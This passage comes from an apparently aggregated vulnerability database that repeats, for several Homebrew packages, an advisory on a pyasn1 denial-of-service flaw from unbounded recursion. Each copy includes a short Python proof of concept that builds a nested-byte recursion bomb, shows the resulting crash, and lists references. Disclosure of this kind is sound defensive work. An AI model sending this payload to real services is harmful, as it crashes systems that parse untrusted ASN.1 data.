provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-ldeep-CVE-2026-30922",
      "modified": "2026-11-08T09:12:33Z",
      "published": "2026-08-13T17:02:17Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-MCP-GOOGLE-SHEETS-C… (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:13 – Updated: 2026-10-31 19:04 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "mcp-google-sheets",
            "purl": "pkg:brew/mcp-google-sheets"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.5.1"
                },
                {
                  "fixed": "0.6.1_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
      "id": "BREW-mcp-google-sheets-CVE-2026-30922",
      "modified": "2026-10-31T19:04:08Z",
      "published": "2026-08-13T17:13:13Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22987"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24761"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24762"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:65126"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6568"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6720"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6912"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:6926"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:8437"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-30922"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448553"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:10184"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:12176"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13902"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13916"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13917"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:16009"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17083"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19355"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19375"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:20588"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22131"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22132"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22133"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22134"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22135"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:22969"
        },
        {
          "type": "WEB",
          "url": "http://www.openwall.com/lists/oss-security/2026/03/20/4"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "Denial of Service in pyasn1 via Unbounded Recursion",
      "upstream": [
        "GHSA-jr27-m4p2-rc6r",
        "CVE-2026-30922",
        "PYSEC-2026-2263"
      ]
    }

    BREW-MISTRAL-VIBE-CVE-20… (GHSA-JR27-M4P2-RC6R)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:14 – Updated: 2026-11-08 10:18 – Source website
    VLAI
    Summary
    Denial of Service in pyasn1 via Unbounded Recursion
    Details

    Summary

    The pyasn1 library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested SEQUENCE (0x30) or SET (0x31) tags with Indefinite Length (0x80) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a RecursionError or consumes all available memory (OOM), crashing the host application.

    Details

    The vulnerability exists because the decoder iterates through the input stream and recursively calls decodeFun (the decoding callback) for every nested component found, without tracking or limiting the recursion depth. Vulnerable Code Locations: 1. indefLenValueDecoder (Line 998): for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options): This method handles indefinite-length constructed types. It sits inside a while True loop and recursively calls the decoder for every nested tag.

    1. valueDecoder (Lines 786 and 907): for component in decodeFun(substrate, componentType, **options): This method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of SEQUENCE or SET types. Line 907: Recursively decodes elements of SEQUENCE OF or SET OF types.

    2. _decodeComponentsSchemaless (Line 661): for component in decodeFun(substrate, **options): This method handles decoding when no schema is provided.

    In all three cases, decodeFun is invoked without passing a depth parameter or checking against a global MAX_ASN1_NESTING limit.

    PoC

    import sys
    from pyasn1.codec.ber import decoder
    
    sys.setrecursionlimit(100000)
    
    print("[*] Generating Recursion Bomb Payload...")
    depth = 50_000
    chunk = b'\x30\x80' 
    payload = chunk * depth
    
    print(f"[*] Payload size: {len(payload) / 1024:.2f} KB")
    print("[*] Triggering Decoder...")
    
    try:
        decoder.decode(payload)
    except RecursionError:
        print("[!] Crashed: Recursion Limit Hit")
    except MemoryError:
        print("[!] Crashed: Out of Memory")
    except Exception as e:
        print(f"[!] Crashed: {e}")
    
    [*] Payload size: 9.77 KB
    [*] Triggering Decoder...
    [!] Crashed: Recursion Limit Hit
    

    Impact

    • This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.
    • Service Crash: Any service using pyasn1 to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.
    • Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.

    Credits

    Vulnerability discovered by Kevin Tu of TMIR at ByteDance.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-30922 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/5a49bd1fe… WEB
    https://github.com/pyasn1/pyasn1/commit/25ad481c1… WEB
    https://access.redhat.com/errata/RHSA-2026:22970 WEB
    https://access.redhat.com/errata/RHSA-2026:22987 WEB
    https://access.redhat.com/errata/RHSA-2026:24761 WEB
    https://access.redhat.com/errata/RHSA-2026:24762 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:6309 WEB
    https://access.redhat.com/errata/RHSA-2026:65126 WEB
    https://access.redhat.com/errata/RHSA-2026:6568 WEB
    https://access.redhat.com/errata/RHSA-2026:6720 WEB
    https://access.redhat.com/errata/RHSA-2026:6912 WEB
    https://access.redhat.com/errata/RHSA-2026:6926 WEB
    https://access.redhat.com/errata/RHSA-2026:8437 WEB
    https://access.redhat.com/security/cve/CVE-2026-30922 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2448553 WEB
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:10184 WEB
    https://access.redhat.com/errata/RHSA-2026:12176 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13902 WEB
    https://access.redhat.com/errata/RHSA-2026:13916 WEB
    https://access.redhat.com/errata/RHSA-2026:13917 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:16009 WEB
    https://access.redhat.com/errata/RHSA-2026:17083 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:19138 WEB
    https://access.redhat.com/errata/RHSA-2026:19355 WEB
    https://access.redhat.com/errata/RHSA-2026:19375 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:20588 WEB
    https://access.redhat.com/errata/RHSA-2026:22131 WEB
    https://access.redhat.com/errata/RHSA-2026:22132 WEB
    https://access.redhat.com/errata/RHSA-2026:22133 WEB
    https://access.redhat.com/errata/RHSA-2026:22134 WEB
    https://access.redhat.com/errata/RHSA-2026:22135 WEB
    https://access.redhat.com/errata/RHSA-2026:22969 WEB
    http://www.openwall.com/lists/oss-security/2026/03/20/4 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.3"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "mistral-vibe",
            "purl": "pkg:brew/mistral-vibe"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.2.0"
                },
                {
                  "fixed": "2.5.0_1"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b\u0027\\x30\\x80\u0027 \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted 